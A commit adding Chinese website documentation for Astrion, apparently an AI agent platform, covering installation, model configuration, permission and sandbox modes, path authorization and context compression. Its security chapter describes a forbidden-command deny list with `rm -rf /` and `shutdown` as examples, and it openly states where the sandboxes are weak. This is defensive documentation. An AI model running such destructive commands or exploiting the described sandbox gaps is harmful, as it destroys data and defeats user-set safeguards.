chore(website): 归档官网文档内容与设计素材

- website-content/:官网 10 篇文档内容 + README
- website-design/:官网设计稿、动画实验、预览图与资源
- 根目录官网截图两张
- .gitignore 忽略 website-design/exp/static/dist 构建产物(7.1MB)
This commit is contained in:
JOJO 2026-09-02 14:38:51 +08:00
parent 97b066d1cc
commit 39a7a5fc6f
251 changed files with 13174 additions and 0 deletions

1
.gitignore vendored
View File

@ -102,3 +102,4 @@ test/deepseek_ocr_tutorial.md
# 运行态缓存
cache/
website-design/exp/static/dist/

BIN
exp-scale-2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 195 KiB

BIN
site-hero.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 80 KiB

View File

@ -0,0 +1,241 @@
# 快速上手
本章带你从零跑起 Astrion克隆代码、完成初始化配置、启动服务并根据你的使用场景选择正确的运行形态。
---
## 1. 系统要求
| 依赖 | 要求 | 说明 |
|------|------|------|
| Python | 3.9 及以上(推荐 3.11 | 后端运行环境 |
| Node.js | 18 及以上 | 构建前端、使用 CLI |
| Docker | 可选 | 仅 **web/docker 模式**需要host 模式不需要 |
| WSL2 | 仅 Windows | Windows 上使用宿主机沙箱的前置条件 |
macOS、Linux、WindowsWSL2均可运行。三平台沙箱能力的差异见《核心概念》一章。
---
## 2. 安装
```bash
# 1. 克隆仓库
git clone https://github.com/JOJO6618/astrion.git
cd astrion
# 2. 初始化:创建 venv、安装依赖、运行交互式配置向导
# 向导会依次询问:运行模式 → 监听地址/端口 → 管理员账户 → 模型 API → 生成密钥
./setup.sh
# 3. 构建前端
npm install && npm run build
# 4.(仅 web/docker 模式)构建沙箱镜像,见下文「选择运行模式」
docker build -f docker/terminal.Dockerfile -t my-agent-shell:latest .
# 5. 启动
./start.sh
# 或者手动启动:
python -m server.app --port 8091 --thinking-mode
```
启动后访问 `http://localhost:8091`,用向导中设置的管理员账户登录。
> `setup.sh` 向导会把配置写入仓库根目录的 `.env`。这是开发备用方式;生产部署建议改用「数据根目录下的 `settings.json`」或系统环境变量,见下文「配置优先级」。
---
## 3. 运行端口与监听地址
- **默认端口:`8091`**`WEB_SERVER_PORT`)。
- 监听地址(`WEB_SERVER_HOST`
- 单机自用:建议 `127.0.0.1`,只监听本机回环,局域网不可达;
- 多用户/服务器部署:用 `0.0.0.0`
- 启动命令行参数 `--port` 可以临时覆盖配置。
- 调试模式 `WEB_SERVER_DEBUG=1`(同时开启 Flask reloader生产环境保持 `0`
---
## 4. 数据路径:数据都存在哪、怎么搬迁
Astrion 的运行态数据(对话记录、用户、日志、部署级配置)**默认全部放在用户主目录下,不污染源码树**
```
~/.astrion/astrion/ ← 数据根目录data_root
├── settings.json ← 唯一配置文件(优先级最高)
├── config/ ← 部署级配置模型库等host/web 共享)
├── host/ ← host 模式的数据
│ ├── data/ users/ logs/ api/
└── web/ ← web/docker 模式的数据(结构同上)
```
按运行模式自动分流:`TERMINAL_SANDBOX_MODE=host` 时数据进 `host/`,否则进 `web/`
### 路径相关环境变量(优先级从高到低)
| 环境变量 | 作用 |
|----------|------|
| `DATA_DIR` / `LOGS_DIR` / `USER_SPACE_DIR` / `API_USER_SPACE_DIR` | 单独覆盖某一个目录(最高优先级) |
| `ASTRION_DATA_ROOT` | 整体搬迁数据根目录(默认 `~/.astrion/astrion` |
| `DEPLOY_CONFIG_DIR` | 单独搬迁部署级配置目录(默认 `<数据根>/config/` |
具体目录变量支持相对路径(相对仓库根目录展开)、绝对路径与 `~`
### 配置优先级
同名配置生效顺序:**`<数据根>/settings.json` 系统环境变量 仓库根目录 `.env` 代码默认值**。
`.env` 加载时不覆盖已存在的系统环境变量;`settings.json` 是推荐的生产配置方式,例如:
```json
{
"server": { "port": 8091, "host": "127.0.0.1" }
}
```
---
## 5. 配置主智能体模型
主智能体的模型统一在 **`custom_models.json`** 中注册。
**放置位置**(按回退链查找,找到即止):
1. `<数据根>/config/custom_models.json`(生产推荐)
2. 仓库内 `config/custom_models.json`
3. 仓库内 `config/custom_models.json.example`(种子示例)
**完整字段说明**
```json
{
"models": [
{
"model_name": "Kimi-K3",
"description": "展示给用户的模型描述",
"visible": true,
"url": "${API_BASE_KIMI}",
"apikey": "${API_KEY_KIMI}",
"multimodal": "image,video",
"reasoning_capability": "fast,thinking",
"reasoning_effort": true,
"context_window": 1048576,
"max_output_tokens": 64000,
"thinkmode_status": {
"type": "param_toggle",
"model_id": "k3",
"fast_extra_parameter": { "thinking": { "type": "disabled" } },
"thinking_extra_parameter": { "thinking": { "effort": "max" } }
},
"extra_parameter": {},
"model_description": "注入系统提示词的模型自我描述"
}
]
}
```
| 字段 | 必填 | 说明 |
|------|------|------|
| `model_name` | ✅ | 模型条目名UI 中显示,也是各配置引用它的 key |
| `url` | ✅ | API 基础地址。**支持 `${环境变量}` 引用**,密钥不要写明文 |
| `apikey` | ✅ | API Key同样支持 `${...}` |
| `description` | | 列表中展示的说明文字 |
| `visible` | | 是否在模型选择菜单中可见 |
| `multimodal` | | `image,video` 等;决定输入栏是否允许发图/视频 |
| `reasoning_capability` | | `fast,thinking`;决定思考模式可选项 |
| `reasoning_effort` | | 是否支持「推理强度」滑块 |
| `context_window` | | 上下文窗口大小token压缩阈值、用量统计以此为基准 |
| `max_output_tokens` | | 单次最大输出 token |
| `thinkmode_status` | | `param_toggle` 类型:`model_id` 为真实模型 ID`fast/thinking_extra_parameter` 为两种模式下分别附加的请求参数 |
| `extra_parameter` | | 所有请求都附加的额外参数 |
| `model_description` | | 注入系统提示词的自我介绍 |
**最小配置**只需要 4 个字段:`model_name` / `url` / `apikey` / `thinkmode_status.model_id`,其余字段均有默认值。
> 提醒:`setup.sh` 向导在第 5 步创建的模型条目就是最小配置——`multimodal` 为 `none`(不能发图/视频)、`context_window` 固定 128000、`max_output_tokens` 32768。如果你的模型支持多模态或更大上下文配完向导后请手动编辑 `<数据根>/config/custom_models.json` 补齐字段。
**默认模型**:不设 `AGENT_DEFAULT_MODEL` 时使用列表中第一个可见模型;也可以在个人空间「模型与思考」页设置每用户默认模型。
> 注意:旧版的 `AGENT_API_*` / `AGENT_THINKING_*` / `AGENT_TITLE_*` 环境变量已从代码中移除,配置它们不再有任何效果。
---
## 6. 配置子智能体模型
子智能体(含三个审核智能体)使用**独立的模型库**`sub_agent_models.json`。
**放置位置**:仅从部署配置目录读取——`<数据根>/config/sub_agent_models.json`(可用 `SUB_AGENT_MODELS_CONFIG_FILE` 单独覆盖)。**没有这个文件,子智能体将无法启动**,会直接报「未找到可用子智能体模型配置」。
**结构**
```json
{
"default_model": "deepseek-v4-flash",
"models": [
{
"name": "deepseek-v4-flash",
"url": "${SUB_AGENT_API_BASE}",
"apikey": "${SUB_AGENT_API_KEY}",
"model_id": "deepseek-v4-flash",
"modes": "fast,thinking",
"multimodal": "image",
"max_output": 32000,
"max_context": 128000,
"extra_parameter": {},
"fast_extra_parameter": {},
"thinking_extra_parameter": {}
}
]
}
```
要点:
- `default_model`:默认条目名;子智能体/审核智能体配置里 `model` 留空时用它。若指定的名字不存在,回退到列表中第一个可用条目。
- 字段名做了宽松兼容:`name`/`model_name`/`model`、`url`/`base_url`、`apikey`/`api_key` 均可;`modes` 写 `fast,thinking` 表示支持思考模式,只写 `fast` 表示纯快速模式。
- 也支持与主模型库相同的 `thinkmode_status` 结构,可以直接从 `custom_models.json` 复制条目改名字用。
- `url` / `apikey` 同样支持 `${环境变量}` 引用。
**子智能体相关环境变量**
| 变量 | 默认 | 说明 |
|------|------|------|
| `SUB_AGENT_MAX_ACTIVE` | 5 | 同时运行的子智能体上限 |
| `SUB_AGENT_DEFAULT_TIMEOUT` | 180 | 默认超时 |
| `SUB_AGENT_TASKS_BASE_DIR` | `<数据根>/<模式>/data/sub_agent_tasks` | 任务目录 |
| `SUB_AGENT_PROJECT_RESULTS_DIR` | `<工作区>/sub_agent_results` | 交付目录(有意放在工作区内) |
---
## 7. 选择运行模式host 还是 dockerweb
`TERMINAL_SANDBOX_MODE` 决定,两种模式面向完全不同的场景:
| | **host 模式** | **web/docker 模式** |
|---|---|---|
| 定位 | 本地个人使用 | 服务器多用户部署 |
| 命令执行 | 宿主机 OS 沙箱macOS sandbox-exec / Linux bwrap / Windows WSL2 | 每个用户独立 Docker 容器,受限档权限下以非特权 uid 执行 |
| 数据目录 | `~/.astrion/astrion/host/` | `~/.astrion/astrion/web/` |
| 前置准备 | 无需镜像Windows 需先装 WSL2 | 必须先构建镜像:`docker build -f docker/terminal.Dockerfile -t my-agent-shell:latest .`(构建上下文必须是仓库根) |
| 镜像名 | — | 由 `TERMINAL_SANDBOX_IMAGE` 指定,建议 `my-agent-shell:latest` |
选择建议:
- **一个人在自己电脑上用**`host`。文件管理器、本地工具链直接可用,体验最好。
- **部署到服务器给多人用**`docker`。容器天然隔离用户之间的文件与进程。
- host 模式可以同时读取 web 模式的数据(用户列表、工作区合并显示),反向不行。
沙箱镜像基于 `python:3.11-slim`,内置 LibreOffice / Pandoc / FFmpeg / Tesseract OCR含中文/ Chromium / Node 20 / docx / pptxgenjs 等常用工具链。**程序不会自动构建镜像**web 模式启动前必须手动构建一次。
---
## 8. 首次启动检查清单
1. 浏览器打开 `http://localhost:8091`,用管理员账户登录;
2. 进入个人空间,确认「模型与思考」页能看到你配置的模型;
3. 随便发一条消息,确认主智能体能正常回复;
4. 让主智能体创建一个子智能体(或直接说「帮我查一下 xxx」触发确认 `sub_agent_models.json` 配置正确;
5. 若是 web 模式,确认镜像已构建、终端容器能正常拉起。
到这里,你的 Astrion 已经可以正常工作了。接下来建议阅读《核心概念》,理解部署模式、权限模式、执行环境、运行模式这四组概念——它们决定了 Astrion 的行为边界。

View File

@ -0,0 +1,111 @@
# 核心概念
Astrion 有四组**相互正交**的概念,理解它们是理解整个系统的钥匙。它们两两组合决定了一次任务「能做什么、在哪跑、做到什么程度」:
| 概念组 | 取值 | 决定什么 | 在哪里切换 |
|--------|------|----------|------------|
| **部署模式** | host / docker(web) | 数据存哪、命令在宿主机还是容器里跑 | 环境变量(部署时确定) |
| **权限模式** | readonly / approval / auto_approval / unrestricted | AI 的工具调用要不要经过批准 | 输入栏权限菜单(对话级) |
| **执行环境** | sandbox / direct | 命令是否经过 OS 沙箱 | 输入栏权限菜单(对话级,仅 host 模式) |
| **运行模式** | plan / ask / execute | AI 与你的交互节奏:先出计划还是直接干活 | 输入栏运行模式切换器(对话级) |
---
## 1. 部署模式host vs dockerweb
部署模式在**启动前**由环境变量 `TERMINAL_SANDBOX_MODE` 决定,运行中不可切换。
- **host 模式**:面向本地个人使用。命令通过宿主机 OS 沙箱执行AI 可以直接操作你授权的本机目录(比如真实的项目仓库),文件管理器、本地 Node/Python 工具链直接可用。
- **docker 模式web 模式)**:面向服务器多用户部署。每个用户的终端命令在独立的 Docker 容器里执行,用户之间文件与进程天然隔离。需要先构建沙箱镜像(见《快速上手》)。
两者的数据目录完全分开(`~/.astrion/astrion/host/` 与 `web/`),但 host 模式会**合并读取** web 模式的用户与工作区列表——同一台机器上两种模式的历史数据都能看到。
> 注意docker 模式同样有只读强制——受限档权限readonly/approval/auto_approval命令以非特权用户uid 10001在容器内执行写入由内核文件权限直接拒绝「只读→审批→单次可写重试」两段式流程与 host 模式一致(详见《执行与安全》)。
## 2. 权限模式AI 能做什么
权限模式是**产品层**开关,决定工具调用是否被拦截、是否需要批准。按对话切换,随时可改。
### readonly只读
- `run_command` 允许调用,但在**只读沙箱**中执行;一旦触发写入,操作系统直接返回权限拒绝(如 `Operation not permitted`)。
- `write_file` / `edit_file` 等写入类工具**直接拒绝**。
- 适用:让 AI 只做代码审查、只读分析、回答问题时。
### approval批准推荐默认
- `run_command` 走**两段式**:先在只读沙箱执行 → 若出现权限拒绝,向前端发起审批 → 你批准后,**仅该条命令**以可写沙箱重试一次。
- 工具返回的是重试后的最终结果AI 不会看到中间的拒绝过程。
- 审批拒绝或超时:本次不执行,不写入。
### auto_approval自动审核
- 与 approval 相同的「只读优先」流程,但审批者是**自动审批智能体**(一个独立的 AI可在个人空间配置它的模型与参数
- `write_file` / `edit_file`:目标在工作区内直接执行;工作区外进入自动审批。
- 自动审批拒绝时AI 收到「被拒绝 + 理由」后继续尝试别的路径,不会中断整轮任务。
- 你可以随时人工接管:同意 / 拒绝 / 切换为无限制。
### unrestricted无限制
- 权限层不做任何拦截,工具直接执行。
- 此时安全边界完全由执行环境决定见下节sandbox 下仍有 OS 沙箱兜底direct 下等于裸奔。
## 3. 执行环境sandbox vs direct
执行环境是**系统层**开关(仅 host 模式可切换),决定命令最终是否经过 OS 沙箱:
- **sandbox默认**:命令在 OS 沙箱中执行,读写边界由「路径授权」限定。沙箱不可用时关键执行路径会**拒绝执行**,不会静默回退到裸宿主机。
- **direct高风险**:命令直接在宿主机执行,无任何沙箱限制。仅 `unrestricted` 权限可选——受限档readonly/approval/auto_approval与 direct 硬互斥,在受限档下切 direct 会被拒绝,从 direct 切入受限档会被自动压回 sandbox。仅建议明确需要系统级权限时**短时**开启,用完立即切回。切换后一直生效,没有自动回退机制。
### 各平台沙箱实现与安全水位(请务必阅读)
| 平台 | 实现 | 安全水位 |
|------|------|----------|
| **Windows** | WSL2 | **可以做到完全的数据隔离**——命令跑在独立的 WSL2 文件系统中。前提是**先自行安装 WSL2**,未安装时沙箱不可用 |
| **macOS** | sandbox-exec | **白名单读模型,读写都可限制**——进程默认只能读系统目录、工作区与已授权路径,越界读取会被直接拒绝。固有代价:授权路径的祖先目录顶层文件名可被列出(文件内容仍不可读) |
| **Linux** | bubblewrap (bwrap) + seccomp | 写入可限制(只读档全局只读),但**读侧仍是全局可读**、尚未对齐白名单;且尚未经过实际测试,不建议在生产环境依赖其隔离性 |
这是官方对当前安全能力的如实说明把沙箱当作「防误操作」的手段三个平台都是可靠的把它当作「防恶意窃取数据」的手段macOS白名单与 WindowsWSL2可以信赖Linux 暂时不行。
### 路径授权
host 模式下,沙箱的文件访问边界由路径授权决定,分两类:
- **可读可写路径**AI 可以读也可以改;
- **仅可读路径**AI 能看但不能改。
关系:`可读集合 = 可读可写 + 仅可读``可写集合 = 可读可写`。在输入栏 `+` 菜单 →「路径授权」中维护。推荐保持最小授权:工作区 + 临时目录。
> 终端会话terminal 系列工具)的读写身份在启动时按当时的权限档、执行环境与沙箱策略**钉死**:受限档下终端以只读身份运行,`unrestricted` 下才是可写身份。**切换执行环境sandbox ⇄ direct、权限档在受限档与无限制之间互切、切换工作区或容器时现有终端会话会被直接关闭**,随后在重新拉起的会话中按新策略执行。
### 网络权限
独立于文件沙箱的另一组开关plan 模式下也可调):
- **受限**(默认):仅允许本地回环访问,外部网络不可达;
- **完全开放**:允许所有出站/入站连接。
## 4. 运行模式AI 与你的交互节奏
运行模式控制 AI **什么时候动手、什么时候先问你**,与权限完全正交。仅空闲时可切换(任务运行中切换会收到 409 提示)。
- **plan计划**:只制定计划并与你讨论,不实际改东西。此模式下权限被**锁定为只读**、执行环境**锁定为沙箱**UI 禁用 + 后端双重强制,网络权限除外)。唯一例外是写 `.astrion/plan/*.md` 计划文档。计划写完后 AI 会调用 `submit_plan` 请你批准;**批准即自动切换到 execute** 并恢复你之前的权限设置。
- **ask询问**先讨论后开工。AI 把方案、疑问写在回复里与你来回确认,关键细节拍板后才动手。执行层面与 execute 无差异,只是交互节奏不同。
- **execute执行**AI 自行梳理计划、补全细节,直接开工,只有遇到硬阻塞(缺信息、需要账号密码等)才提问。
### 常见组合
| 场景 | 推荐组合 |
|------|----------|
| 让 AI 改你正在维护的重要项目 | plan + approval + sandbox |
| 日常随手用、追求效率 | execute + auto_approval + sandbox |
| 纯问答/代码评审,绝不许动文件 | 任意模式 + readonly执行环境自动锁沙箱 |
| 服务器多用户部署 | docker 模式(执行环境概念不适用) |
## 5. 四组概念的联动规则速查
1. plan 模式 → 权限强制 readonly、执行环境强制 sandbox网络权限仍可调
2. 受限档权限readonly/approval/auto_approval→ 执行环境自动锁定为 sandboxdirect 仅 unrestricted 可用;
3. 批准 plan 计划 → 自动切 execute 并恢复进入 plan 前的权限与执行环境;
4. docker 模式下没有 sandbox/direct 之分,容器即边界;
5. 权限模式、执行环境、运行模式都是**对话级**状态:新对话继承当前输入栏的取值,个人空间里的「默认权限模式 / 默认运行模式」只影响首次构造。

View File

@ -0,0 +1,76 @@
# 对话
本章讲「一个对话」本身的能力:对话类型、思考模式、目标模式,以及对话过程中可用的几个面板功能。
---
## 1. 对话类型:普通 vs 多智能体
创建对话时选定,**创建后不可变**
- **普通对话(智能体)**:你与一个主智能体对话,它可以按需在后台派出子智能体干活。
- **多智能体对话**:主智能体固定为 **Team Leader**,不亲自干活,而是创建多个带角色的子智能体(如 Full-Stack Engineer、UI Operator在它们之间派活、收汇报、做决策。子智能体之间也可以互相通信但每次沟通都会同步汇报给 Team Leader不存在"私下串通"。
切换入口:空对话时输入栏底行 `+` 右侧的对话类型选择器;侧边栏的列表过滤器则决定你在列表里看哪一类对话。
多智能体的完整玩法见《智能体能力》一章。
## 2. 思考模式与推理强度
两个独立开关,都作用于当前对话:
- **思考模式**`快速fast` / `思考thinking`。快速模式追求响应速度、跳过思考过程;思考模式整轮对话使用思考模型。输入栏可切换,个人空间可设默认值。
- **推理强度Effort**`默认 / 低 / 中 / 高` 滑块(需模型配置里 `reasoning_effort: true` 才会出现)。「默认」表示不指定强度,使用 API 自身默认行为;拖动滑块可实时调整思考的深度档位。
> 模型的多模态能力(能否发图片/视频)由 `custom_models.json` 中该模型的 `multimodal` 字段决定;思考模式可选项由 `reasoning_capability` 决定。
## 3. 目标模式Beta
> ⚠️ 目标模式是 **beta 功能**:机制完整可用,但边界情况(多对话并发时的 token 统计、异常中断恢复等)仍在打磨,请带着预期使用并反馈问题。
普通对话里AI 完成你交代的一轮任务就停了。**目标模式**让 AI 围绕一个长期目标**自动一轮一轮干下去**,直到目标达成或触顶停止。
**用法**
1. 输入栏 `+` 菜单 →「目标模式」,进入「已就绪」状态;
2. 你发送的下一条消息会被当作**目标**(而不是普通任务);
3. AI 围绕目标自动连续工作:每轮结束后自我评估「目标达成了吗」,没达成就继续下一轮;
4. 达成、触顶或你手动取消时停止。
**结束条件**(个人空间可配,可多选):
- `max_turns`:最多自动续 N 轮(有默认值,可调);
- `max_tokens`:累计(输入+输出token 上限,默认不启用。注意该统计是**工作区级**的,多对话并发时是近似值。
**目标审核**:可选配一个目标审核智能体(个人空间「审核智能体」页的 `goal_review`),两种审核模式:
- `readonly`(默认):审核智能体只读对话内容来判断目标进度;
- `active`:允许它跑只读命令取证(比如检查文件是否真的生成了)再下结论。
目标状态按对话独立持久化(`goal_states/<对话ID>.json`),切换对话、上下文压缩、重启服务都不会丢失目标进度。
## 4. 对话面板:回顾 / 用量 / 实时终端
输入栏 `+` 菜单里的三个面板型功能(它们只是信息面板,**与安全机制无关**
- **对话回顾**:打开当前对话的回顾视图,按时间线回看这次对话做了什么。
- **用量统计**:上下文与 token 用量面板,看当前对话的上下文占用、累计消耗。
- **实时终端**:打开实时终端面板,直接看到 AI 正在执行的终端会话实况——它正在跑什么命令、输出是什么。这是观察窗口,不是安全边界;真正的安全控制请看《执行与安全》。
## 5. 对话管理
- **搜索**:侧边栏顶部搜索框,按标题与内容检索对话。
- **平铺 / 分组视图**:侧边栏可以平铺所有对话,也可以按工作区分组(个人空间「外观与显示」→ 侧边栏分组)。分组模式下支持工作区置顶与排序。
- **类型过滤**:侧边栏的类型切换器(普通 / 多智能体)决定列表里显示哪类对话。
- **新建对话按钮行为**:个人空间可选——点击 `+` 是「跳转到空白新对话页」route还是「立即创建空对话」blank
- **自动标题**:默认开启,首轮对话后自动生成标题;可在个人空间关闭。
## 6. 对话显示模式
个人空间「外观与显示」提供三种消息流显示模式:
- **传统列表**:所有消息平铺;
- **堆叠动画**(默认):工具调用等中间块堆叠收纳,主干对话更清爽;
- **极简模式**:最克制的显示,只看要点。
另有「完整信息 / 简略信息」控制简略消息的展开程度,以及助手状态形象(戳一戳有彩蛋)等显示开关。

View File

@ -0,0 +1,89 @@
# 输入与上下文
本章讲输入栏的两个菜单、文件引用、上传,以及 Astrion 的上下文管理体系——包括压缩机制的正确用法。
---
## 1. `+` 快捷菜单(完整功能清单)
点击输入栏左侧 `+` 打开。完整功能一览:
| 功能 | 说明 |
|------|------|
| 新建对话 | 开始一个新对话(等价 `new` / `clear` |
| 上传文件 | 选择本地文件上传到工作区 |
| 发送图片 / 发送视频 | 附加到消息;**当前模型不支持多模态时禁用**(取决于 `multimodal` 配置) |
| 压缩对话 | 手动触发一次上下文压缩 |
| 选择 AgentSkill | 插入一个 Skill 引用(等价输入 `//` 快捷直达) |
| 工作流 | 激活一个工作流,让智能体按既定流程推进 |
| 对话类型 | 空对话时切换「智能体 / 多智能体」(创建后不可变) |
| 切换工作模式 | plan / ask / execute |
| 切换主题 | 经典 / 明亮 / 夜间 |
| 对话回顾 | 打开当前对话回顾 |
| 用量统计 | 上下文与 token 用量面板 |
| 目标模式 | 切换目标模式Beta见《对话》章 |
| 个人设置 | 打开个人空间 |
| 实时终端 | 打开实时终端面板 |
| 切换模型 | 选择本对话使用的模型 |
| 思考模式 | 切换 fast / thinking |
| 权限模式 | 切换 readonly / approval / auto / unrestricted |
| 网络权限 | 受限 / 完全开放plan 模式下也可调) |
| 执行环境 | sandbox / direct仅 host 模式) |
| 切换工作区 / 项目 | 切换当前对话绑定的工作区 |
| 版本控制 | 开/关本对话的版本控制 |
| Git 状态栏 | 显示/隐藏输入栏上方的 Git 状态条 |
| 路径授权 | 查看和管理沙箱路径授权 |
| 审批面板 | 查看审批记录 |
## 2. `/` 斜杠菜单
在输入框输入 `/` 触发斜杠直达菜单,用关键字快速过滤并直达某一类选项,目前支持 12 类AgentSkills`//` 直达)、工作流、主题、权限模式、执行环境、模型、思考模式、网络权限、工作模式、工作区、对话类型等。
典型用法:`/skill` 选技能、`/workflow` 选工作流、`/model` 切模型——比在 `+` 菜单里翻要快。
## 3. `@` 文件引用
输入 `@` 唤起文件菜单,从工作区中选择文件/目录插入引用。被引用的文件会作为上下文提供给智能体,适合「就这个文件展开讨论」的场景。图片类文件引用会按多模态能力处理。
## 4. 上下文压缩:浅压缩与深压缩
长对话迟早会触及模型上下文上限Astrion 提供两级自动压缩 + 手动压缩:
### 浅压缩(默认关闭)
- 机制:把较早的**工具调用结果替换为占位符**(保留最近 N 个工具结果不压),立刻腾出空间。
- 触发:默认累计 80k tokens 触发(可调),另有「每 N 次工具调用」「每轮最多替换 N 个」「保留最近 N 次用户输入后的工具不压」等细调参数。
- ⚠️ **重要代价浅压缩会改动历史消息内容从而破坏服务商侧的上下文缓存prompt cache**——压缩后的几轮请求将无法命中缓存,表现为响应变慢、费用上升。这是它默认关闭的原因。
### 深压缩(默认开启,推荐)
- 机制:对整段历史做**深度总结**,旧上下文整体替换为浓缩摘要后轻装继续。
- 产物形式可选(`deep_compress_form``file`——总结写入文件,需要时随时回读(默认);`inject`——直接把总结全文注入上下文。
- 触发:默认 150k tokens。
### 自定义阈值的 80% 规则(务必遵守)
如果你要自定义压缩触发阈值,**至少设为所用模型实际可用上下文的 80%**。
例如模型实际上下文是 128k触发阈值不应低于约 102k。阈值设得太低会频繁触发压缩既浪费 token又频繁破坏上下文缓存还会让 AI 过早丢失细节记忆。让对话尽量「用满窗口再压缩」才是性价比最高的用法。
> 模型的实际上下文窗口以 `custom_models.json` 中该模型的 `context_window` 为准;注意区分「标称上下文」与「实际可用上下文」(部分 API 会预留输出空间)。
### 手动压缩
`+` 菜单 →「压缩对话」随时可手动触发,适合你预判接下来要开新话题、主动腾空间的场景。
## 5. 上下文注入类功能
这些功能影响每轮对话自动携带的上下文,都在个人空间配置:
- **最近对话提示**(默认关闭):开启后,新对话自动把最近 N 条历史对话的摘要注入上下文N 可配130默认 10。适合「我最近一直在折腾同一个项目」的连续工作流与「对话连续性」个性化设置配合使用。
- **AGENTS.md 自动注入**(默认关闭):开启后自动把项目根目录的 AGENTS.md 注入上下文,让 AI 始终带着项目规范工作。
- **项目记忆索引注入**AI 的项目记忆索引默认最多注入 20 条5 起,可设为无上限)。记忆内容由 AI 在工作过程中主动沉淀。
- **Skill 提示**(默认关闭):根据当前任务动态提示可能相关的 Skill。
## 6. 上传与多模态
- **上传文件**进入工作区AI 后续可读取处理;
- **发送图片/视频**:随消息直接进入多模态上下文;
- 图片压缩档位(个人空间):`原图 / 1080p / 720p / 540p`,默认原图。长对话里多发大图建议降档,节省上下文。

View File

@ -0,0 +1,86 @@
# 执行与安全
本章讲 Astrion 如何安全地执行 AI 发起的操作:沙箱执行的实际行为、路径授权、审批机制。概念层面的四组开关(部署/权限/执行环境/运行模式)请先看《核心概念》,本章聚焦具体行为与日常管理。
> 范围说明:「实时终端」只是观察面板,与安全机制无关,见《对话》一章。
---
## 1. 命令是怎么被执行的
### run_command两段式执行
以默认推荐的 `approval` 模式为例,一条 AI 发起的 shell 命令的实际旅程是:
1. **先在只读身份下执行**——能读不能写host 模式靠 OS 沙箱docker 模式靠容器内的非特权用户);
2. 如果命令没碰写操作,直接返回结果,全程无感;
3. 如果触发权限拒绝(要写文件、要改系统),**自动转为向你发起审批**
4. 你批准后,**仅这一条命令**以可写身份重试;你拒绝或超时未处理,则本次不执行;
5. AI 拿到的是最终结果,中间过程不干扰它的思路。
`auto_approval` 模式把第 3 步的审批者换成自动审批智能体;`unrestricted` 模式跳过审批直接执行;`readonly` 模式下写入类请求直接拒绝。注意审批**只放大这一次写入、不放大读取范围**——想读工作区之外的文件,唯一途径是路径授权(见第 2 节)。
### 终端会话:身份钉死,切换即关闭
持久终端会话terminal 系列工具)的读写身份在启动时按当时的权限档、执行环境与沙箱策略**钉死**受限档readonly/approval/auto_approval下终端以只读身份运行终端里的写入由系统直接拒绝EPERM`unrestricted` 下才是可写身份。当你**切换执行环境sandbox ⇄ direct、权限档在受限档与无限制之间互切、切换工作区或容器**时,现有终端会话会被**直接关闭**——不会带着旧身份继续运行,后续操作在重新拉起的会话中按新策略执行。这也意味着:跑长任务时不要切换这些开关,任务会随会话一起终止。
### 子智能体与后台命令
子智能体的终端进程同样经过执行环境策略sandbox 下经宿主机沙箱启动direct 下直接宿主机启动docker 模式则在容器内执行。后台命令(`run_in_background`)与前台命令走同一套只读/可写沙箱判定,**不会因为放后台就绕过权限**。
## 2. 路径授权的日常管理
入口:输入栏 `+` 菜单 →「路径授权」。
- **可读可写路径**AI 的完整工作范围,通常就是你的项目目录;
- **仅可读路径**:允许 AI 参考但禁止修改,比如参考文档、线上配置样例、别的项目源码。
建议实践:
1. 保持最小授权——只加当前任务需要的目录;
2. 敏感目录(`~/.ssh`、密钥库、系统目录)永远不要加入任何一类;
3. 任务性质变化时及时调整,授权是即时生效的(新终端会话除外,见上)。
## 3. 网络权限
输入栏权限菜单中独立的一组:
- **受限**默认仅本地回环AI 无法访问外部网络——适合纯本地任务,也杜绝了数据外发;
- **完全开放**:允许出站/入站连接——需要 AI 联网搜索、调外部 API、装依赖时开启。
网络权限与文件沙箱相互独立,且在 plan 模式下也可调整。
## 4. 审批面板
入口:`+` 菜单 →「审批面板」。这里能看到审批记录:哪些命令/写入被提请审批、谁批的(人工或自动审批智能体)、结果如何。`auto_approval` 模式下如果不想让面板自动弹出打扰,个人空间有开关(默认不自动打开)。
## 5. 禁止命令清单
部署级配置 `forbidden_commands.json`(放 `<数据根>/config/`)可以配置**绝对禁止执行的命令特征**,命中即拒,与权限模式无关。这是兜底防线,适合在服务器部署时封死 `rm -rf /`、`shutdown` 这类命令。
## 6. 关于 direct 模式的忠告
`direct` = 命令直接在宿主机执行,**没有任何沙箱**。它与受限档权限readonly/approval/auto_approval硬互斥——只有 `unrestricted` 才能选 direct从 direct 切入受限档时会被自动压回 sandbox。合理使用场景只有一个某条命令在沙箱里确实跑不了需要系统级权限且没有替代方案。此时
1. 先把权限档切到 `unrestricted`,再临时切到 direct
2. 跑完立即切回 sandbox和原来的权限档
3. 注意 direct 切换后**永久生效、不会自动回退**——忘记切回等于长期裸奔。
## 7. docker 模式的安全现状
docker 模式下,用户之间的隔离边界是容器本身:每个用户的终端在独立容器中,互相不可见。容器**内部**的权限约束同样是真强制:
- 受限档readonly/approval/auto_approvalrun_command、后台命令与持久终端都以**非特权用户uid 10001**在容器内执行——工作区属主是 root写入由内核文件权限直接拒绝不依赖对命令文本的识别审批通过后仅该条命令以 root 身份重试;
- 生效前提:工作区属主为 root、没有全局可写的文件、容器未挂载 docker.sock按官方部署文档操作即满足
- 该强制仅在 **Linux 宿主机**上成立——macOS 本机的 Docker Desktop 不执行 uid 文件权限,本机开发时不要把容器内部权限当安全边界;
- 多用户部署时应配合容器资源限制、镜像最小化等常规容器安全实践。
## 8. 各平台安全水位
再次强调《核心概念》中的结论,因为它直接影响你该信任沙箱到什么程度:
- **WindowsWSL2**:可做到完全数据隔离,需先安装 WSL2
- **macOSsandbox-exec**:白名单读模型,写入和读取都可限制——进程默认只能读系统目录、工作区与已授权路径;代价是授权路径的祖先目录顶层文件名可被列出(文件内容仍不可读);
- **Linuxbwrap+seccomp**:写入可限制,但读侧仍是全局可读、尚未对齐白名单,且**尚未实测**,不要依赖其隔离性。
无论哪个平台,沙箱的首要价值是**防误操作**涉及真正的敏感数据请叠加路径授权最小化、网络受限、readonly 权限等手段综合防护。

View File

@ -0,0 +1,68 @@
# 对话资产管理
AI 改了你工作区的文件之后「改了什么、怎么回滚、坏到哪一版」就是核心问题。Astrion 提供三层资产保障:**版本控制**(对话级检查点)、**修改留痕**(任务级 diff、**Git 状态栏**(实时感知)。它们相互独立、可叠加使用。
---
## 1. 版本控制
对话级的文件检查点系统,让 AI 的每一轮改动都有快照可回退。
### 开关与备份方式
- 新对话**默认开启**(个人空间可改默认值);
